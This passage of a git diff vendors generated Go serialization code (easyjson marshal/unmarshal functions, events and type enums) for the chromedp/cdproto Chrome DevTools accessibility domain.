*GetChildAXNodesReturns) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility13(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *GetChildAXNodesReturns) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility13(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility14(in *jlexer.Lexer, out *GetChildAXNodesParams) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "id": + out.ID = NodeID(in.String()) + case "frameId": + (out.FrameID).UnmarshalEasyJSON(in) + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility14(out *jwriter.Writer, in GetChildAXNodesParams) { + out.RawByte('{') + first := true + _ = first + { + const prefix string = ",\"id\":" + out.RawString(prefix[1:]) + out.String(string(in.ID)) + } + if in.FrameID != "" { + const prefix string = ",\"frameId\":" + out.RawString(prefix) + out.String(string(in.FrameID)) + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v GetChildAXNodesParams) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility14(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v GetChildAXNodesParams) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility14(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *GetChildAXNodesParams) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility14(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *GetChildAXNodesParams) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility14(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility15(in *jlexer.Lexer, out *GetAXNodeAndAncestorsReturns) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "nodes": + if in.IsNull() { + in.Skip() + out.Nodes = nil + } else { + in.Delim('[') + if out.Nodes == nil { + if !in.IsDelim(']') { + out.Nodes = make([]*Node, 0, 8) + } else { + out.Nodes = []*Node{} + } + } else { + out.Nodes = (out.Nodes)[:0] + } + for !in.IsDelim(']') { + var v28 *Node + if in.IsNull() { + in.Skip() + v28 = nil + } else { + if v28 == nil { + v28 = new(Node) + } + (*v28).UnmarshalEasyJSON(in) + } + out.Nodes = append(out.Nodes, v28) + in.WantComma() + } + in.Delim(']') + } + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility15(out *jwriter.Writer, in GetAXNodeAndAncestorsReturns) { + out.RawByte('{') + first := true + _ = first + if len(in.Nodes) != 0 { + const prefix string = ",\"nodes\":" + first = false + out.RawString(prefix[1:]) + { + out.RawByte('[') + for v29, v30 := range in.Nodes { + if v29 > 0 { + out.RawByte(',') + } + if v30 == nil { + out.RawString("null") + } else { + (*v30).MarshalEasyJSON(out) + } + } + out.RawByte(']') + } + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v GetAXNodeAndAncestorsReturns) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility15(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v GetAXNodeAndAncestorsReturns) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility15(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *GetAXNodeAndAncestorsReturns) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility15(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *GetAXNodeAndAncestorsReturns) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility15(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility16(in *jlexer.Lexer, out *GetAXNodeAndAncestorsParams) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "nodeId": + (out.NodeID).UnmarshalEasyJSON(in) + case "backendNodeId": + (out.BackendNodeID).UnmarshalEasyJSON(in) + case "objectId": + out.ObjectID = runtime.RemoteObjectID(in.String()) + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility16(out *jwriter.Writer, in GetAXNodeAndAncestorsParams) { + out.RawByte('{') + first := true + _ = first + if in.NodeID != 0 { + const prefix string = ",\"nodeId\":" + first = false + out.RawString(prefix[1:]) + out.Int64(int64(in.NodeID)) + } + if in.BackendNodeID != 0 { + const prefix string = ",\"backendNodeId\":" + if first { + first = false + out.RawString(prefix[1:]) + } else { + out.RawString(prefix) + } + out.Int64(int64(in.BackendNodeID)) + } + if in.ObjectID != "" { + const prefix string = ",\"objectId\":" + if first { + first = false + out.RawString(prefix[1:]) + } else { + out.RawString(prefix) + } + out.String(string(in.ObjectID)) + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v GetAXNodeAndAncestorsParams) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility16(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v GetAXNodeAndAncestorsParams) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility16(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *GetAXNodeAndAncestorsParams) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility16(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *GetAXNodeAndAncestorsParams) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility16(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility17(in *jlexer.Lexer, out *EventNodesUpdated) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "nodes": + if in.IsNull() { + in.Skip() + out.Nodes = nil + } else { + in.Delim('[') + if out.Nodes == nil { + if !in.IsDelim(']') { + out.Nodes = make([]*Node, 0, 8) + } else { + out.Nodes = []*Node{} + } + } else { + out.Nodes = (out.Nodes)[:0] + } + for !in.IsDelim(']') { + var v31 *Node + if in.IsNull() { + in.Skip() + v31 = nil + } else { + if v31 == nil { + v31 = new(Node) + } + (*v31).UnmarshalEasyJSON(in) + } + out.Nodes = append(out.Nodes, v31) + in.WantComma() + } + in.Delim(']') + } + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility17(out *jwriter.Writer, in EventNodesUpdated) { + out.RawByte('{') + first := true + _ = first + { + const prefix string = ",\"nodes\":" + out.RawString(prefix[1:]) + if in.Nodes == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 { + out.RawString("null") + } else { + out.RawByte('[') + for v32, v33 := range in.Nodes { + if v32 > 0 { + out.RawByte(',') + } + if v33 == nil { + out.RawString("null") + } else { + (*v33).MarshalEasyJSON(out) + } + } + out.RawByte(']') + } + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v EventNodesUpdated) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility17(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v EventNodesUpdated) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility17(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *EventNodesUpdated) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility17(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *EventNodesUpdated) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility17(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility18(in *jlexer.Lexer, out *EventLoadComplete) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + case "root": + if in.IsNull() { + in.Skip() + out.Root = nil + } else { + if out.Root == nil { + out.Root = new(Node) + } + (*out.Root).UnmarshalEasyJSON(in) + } + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility18(out *jwriter.Writer, in EventLoadComplete) { + out.RawByte('{') + first := true + _ = first + { + const prefix string = ",\"root\":" + out.RawString(prefix[1:]) + if in.Root == nil { + out.RawString("null") + } else { + (*in.Root).MarshalEasyJSON(out) + } + } + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v EventLoadComplete) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility18(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v EventLoadComplete) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility18(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *EventLoadComplete) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility18(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *EventLoadComplete) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility18(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility19(in *jlexer.Lexer, out *EnableParams) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility19(out *jwriter.Writer, in EnableParams) { + out.RawByte('{') + first := true + _ = first + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v EnableParams) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility19(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v EnableParams) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility19(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *EnableParams) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility19(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *EnableParams) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility19(l, v) +} +func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility20(in *jlexer.Lexer, out *DisableParams) { + isTopLevel := in.IsStart() + if in.IsNull() { + if isTopLevel { + in.Consumed() + } + in.Skip() + return + } + in.Delim('{') + for !in.IsDelim('}') { + key := in.UnsafeFieldName(false) + in.WantColon() + if in.IsNull() { + in.Skip() + in.WantComma() + continue + } + switch key { + default: + in.SkipRecursive() + } + in.WantComma() + } + in.Delim('}') + if isTopLevel { + in.Consumed() + } +} +func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility20(out *jwriter.Writer, in DisableParams) { + out.RawByte('{') + first := true + _ = first + out.RawByte('}') +} + +// MarshalJSON supports json.Marshaler interface +func (v DisableParams) MarshalJSON() ([]byte, error) { + w := jwriter.Writer{} + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility20(&w, v) + return w.Buffer.BuildBytes(), w.Error +} + +// MarshalEasyJSON supports easyjson.Marshaler interface +func (v DisableParams) MarshalEasyJSON(w *jwriter.Writer) { + easyjsonC5a4559bEncodeGithubComChromedpCdprotoAccessibility20(w, v) +} + +// UnmarshalJSON supports json.Unmarshaler interface +func (v *DisableParams) UnmarshalJSON(data []byte) error { + r := jlexer.Lexer{Data: data} + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility20(&r, v) + return r.Error() +} + +// UnmarshalEasyJSON supports easyjson.Unmarshaler interface +func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) { + easyjsonC5a4559bDecodeGithubComChromedpCdprotoAccessibility20(l, v) +} diff --git a/vendor/github.com/chromedp/cdproto/accessibility/events.go b/vendor/github.com/chromedp/cdproto/accessibility/events.go new file mode 100644 index 0000000000..ae3b511fcd --- /dev/null +++ b/vendor/github.com/chromedp/cdproto/accessibility/events.go @@ -0,0 +1,20 @@ +package accessibility + +// Code generated by cdproto-gen. DO NOT EDIT. + +// EventLoadComplete the loadComplete event mirrors the load complete event +// sent by the browser to assistive technology when the web page has finished +// loading. +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#event-loadComplete +type EventLoadComplete struct { + Root *Node `json:"root"` // New document root node. +} + +// EventNodesUpdated the nodesUpdated event is sent every time a previously +// requested node has changed the in tree. +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#event-nodesUpdated +type EventNodesUpdated struct { + Nodes []*Node `json:"nodes"` // Updated node data. +} diff --git a/vendor/github.com/chromedp/cdproto/accessibility/types.go b/vendor/github.com/chromedp/cdproto/accessibility/types.go new file mode 100644 index 0000000000..06a5d0e762 --- /dev/null +++ b/vendor/github.com/chromedp/cdproto/accessibility/types.go @@ -0,0 +1,457 @@ +package accessibility + +// Code generated by cdproto-gen. DO NOT EDIT. + +import ( + "errors" + + "github.com/chromedp/cdproto/cdp" + "github.com/mailru/easyjson" + "github.com/mailru/easyjson/jlexer" + "github.com/mailru/easyjson/jwriter" +) + +// NodeID unique accessibility node identifier. +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXNodeId +type NodeID string + +// String returns the NodeID as string value. +func (t NodeID) String() string { + return string(t) +} + +// ValueType enum of possible property types. +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueType +type ValueType string + +// String returns the ValueType as string value. +func (t ValueType) String() string { + return string(t) +} + +// ValueType values. +const ( + ValueTypeBoolean ValueType = "boolean" + ValueTypeTristate ValueType = "tristate" + ValueTypeBooleanOrUndefined ValueType = "booleanOrUndefined" + ValueTypeIdref ValueType = "idref" + ValueTypeIdrefList ValueType = "idrefList" + ValueTypeInteger ValueType = "integer" + ValueTypeNode ValueType = "node" + ValueTypeNodeList ValueType = "nodeList" + ValueTypeNumber ValueType = "number" + ValueTypeString ValueType = "string" + ValueTypeComputedString ValueType = "computedString" + ValueTypeToken ValueType = "token" + ValueTypeTokenList ValueType = "tokenList" + ValueTypeDomRelation ValueType = "domRelation" + ValueTypeRole ValueType = "role" + ValueTypeInternalRole ValueType = "internalRole" + ValueTypeValueUndefined ValueType = "valueUndefined" +) + +// MarshalEasyJSON satisfies easyjson.Marshaler. +func (t ValueType) MarshalEasyJSON(out *jwriter.Writer) { + out.String(string(t)) +} + +// MarshalJSON satisfies json.Marshaler. +func (t ValueType) MarshalJSON() ([]byte, error) { + return easyjson.Marshal(t) +} + +// UnmarshalEasyJSON satisfies easyjson.Unmarshaler. +func (t *ValueType) UnmarshalEasyJSON(in *jlexer.Lexer) { + switch ValueType(in.String()) { + case ValueTypeBoolean: + *t = ValueTypeBoolean + case ValueTypeTristate: + *t = ValueTypeTristate + case ValueTypeBooleanOrUndefined: + *t = ValueTypeBooleanOrUndefined + case ValueTypeIdref: + *t = ValueTypeIdref + case ValueTypeIdrefList: + *t = ValueTypeIdrefList + case ValueTypeInteger: + *t = ValueTypeInteger + case ValueTypeNode: + *t = ValueTypeNode + case ValueTypeNodeList: + *t = ValueTypeNodeList + case ValueTypeNumber: + *t = ValueTypeNumber + case ValueTypeString: + *t = ValueTypeString + case ValueTypeComputedString: + *t = ValueTypeComputedString + case ValueTypeToken: + *t = ValueTypeToken + case ValueTypeTokenList: + *t = ValueTypeTokenList + case ValueTypeDomRelation: + *t = ValueTypeDomRelation + case ValueTypeRole: + *t = ValueTypeRole + case ValueTypeInternalRole: + *t = ValueTypeInternalRole + case ValueTypeValueUndefined: + *t = ValueTypeValueUndefined + + default: + in.AddError(errors.New("unknown ValueType value")) + } +} + +// UnmarshalJSON satisfies json.Unmarshaler. +func (t *ValueType) UnmarshalJSON(buf []byte) error { + return easyjson.Unmarshal(buf, t) +} + +// ValueSourceType enum of possible property sources. +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueSourceType +type ValueSourceType string + +// String returns the ValueSourceType as string value. +func (t ValueSourceType) String() string { + return string(t) +} + +// ValueSourceType values. +const ( + ValueSourceTypeAttribute ValueSourceType = "attribute" + ValueSourceTypeImplicit ValueSourceType = "implicit" + ValueSourceTypeStyle ValueSourceType = "style" + ValueSourceTypeContents ValueSourceType = "contents" + ValueSourceTypePlaceholder ValueSourceType = "placeholder" + ValueSourceTypeRelatedElement ValueSourceType = "relatedElement" +) + +// MarshalEasyJSON satisfies easyjson.Marshaler. +func (t ValueSourceType) MarshalEasyJSON(out *jwriter.Writer) { + out.String(string(t)) +} + +// MarshalJSON satisfies json.Marshaler. +func (t ValueSourceType) MarshalJSON() ([]byte, error) { + return easyjson.Marshal(t) +} + +// UnmarshalEasyJSON satisfies easyjson.Unmarshaler. +func (t *ValueSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) { + switch ValueSourceType(in.String()) { + case ValueSourceTypeAttribute: + *t = ValueSourceTypeAttribute + case ValueSourceTypeImplicit: + *t = ValueSourceTypeImplicit + case ValueSourceTypeStyle: + *t = ValueSourceTypeStyle + case ValueSourceTypeContents: + *t = ValueSourceTypeContents + case ValueSourceTypePlaceholder: + *t = ValueSourceTypePlaceholder + case ValueSourceTypeRelatedElement: + *t = ValueSourceTypeRelatedElement + + default: + in.AddError(errors.New("unknown ValueSourceType value")) + } +} + +// UnmarshalJSON satisfies json.Unmarshaler. +func (t *ValueSourceType) UnmarshalJSON(buf []byte) error { + return easyjson.Unmarshal(buf, t) +} + +// ValueNativeSourceType enum of possible native property sources (as a +// subtype of a particular AXValueSourceType). +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueNativeSourceType +type ValueNativeSourceType string + +// String returns the ValueNativeSourceType as string value. +func (t ValueNativeSourceType) String() string { + return string(t) +} + +// ValueNativeSourceType values. +const ( + ValueNativeSourceTypeDescription ValueNativeSourceType = "description" + ValueNativeSourceTypeFigcaption ValueNativeSourceType = "figcaption" + ValueNativeSourceTypeLabel ValueNativeSourceType = "label" + ValueNativeSourceTypeLabelfor ValueNativeSourceType = "labelfor" + ValueNativeSourceTypeLabelwrapped ValueNativeSourceType = "labelwrapped" + ValueNativeSourceTypeLegend ValueNativeSourceType = "legend" + ValueNativeSourceTypeRubyannotation ValueNativeSourceType = "rubyannotation" + ValueNativeSourceTypeTablecaption ValueNativeSourceType = "tablecaption" + ValueNativeSourceTypeTitle ValueNativeSourceType = "title" + ValueNativeSourceTypeOther ValueNativeSourceType = "other" +) + +// MarshalEasyJSON satisfies easyjson.Marshaler. +func (t ValueNativeSourceType) MarshalEasyJSON(out *jwriter.Writer) { + out.String(string(t)) +} + +// MarshalJSON satisfies json.Marshaler. +func (t ValueNativeSourceType) MarshalJSON() ([]byte, error) { + return easyjson.Marshal(t) +} + +// UnmarshalEasyJSON satisfies easyjson.Unmarshaler. +func (t *ValueNativeSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) { + switch ValueNativeSourceType(in.String()) { + case ValueNativeSourceTypeDescription: + *t = ValueNativeSourceTypeDescription + case ValueNativeSourceTypeFigcaption: + *t = ValueNativeSourceTypeFigcaption + case ValueNativeSourceTypeLabel: + *t = ValueNativeSourceTypeLabel + case ValueNativeSourceTypeLabelfor: + *t = ValueNativeSourceTypeLabelfor + case ValueNativeSourceTypeLabelwrapped: + *t = ValueNativeSourceTypeLabelwrapped + case ValueNativeSourceTypeLegend: + *t = ValueNativeSourceTypeLegend + case ValueNativeSourceTypeRubyannotation: + *t = ValueNativeSourceTypeRubyannotation + case ValueNativeSourceTypeTablecaption: + *t = ValueNativeSourceTypeTablecaption + case ValueNativeSourceTypeTitle: + *t = ValueNativeSourceTypeTitle + case ValueNativeSourceTypeOther: + *t = ValueNativeSourceTypeOther + + default: + in.AddError(errors.New("unknown ValueNativeSourceType value")) + } +} + +// UnmarshalJSON satisfies json.Unmarshaler. +func (t *ValueNativeSourceType) UnmarshalJSON(buf []byte) error { + return easyjson.Unmarshal(buf, t) +} + +// ValueSource a single source for a computed AX property. +// +// See: https://chromedevtools.github.io/devtools-protocol/tot/Accessibility#type-AXValueSource +type ValueSource struct { + Type ValueSourceType `json:"type"` // What type of source this is. + Value *Value `json:"value,omitempty"` // The value of this property source. + Attribute string `json:"attribute,omitempty"` // The name of the relevant attribute, if any. + AttributeValue *Value `json:"attributeValue,omitempty"` // The value of the relevant attribute, if any. + Superseded bool `json:"superseded,omitempty"` // Whether this source is superseded by a higher priority source. + NativeSource ValueNativeSourceType `json:"nativeSource,omitempty"` // The native markup source for this value, e.g. a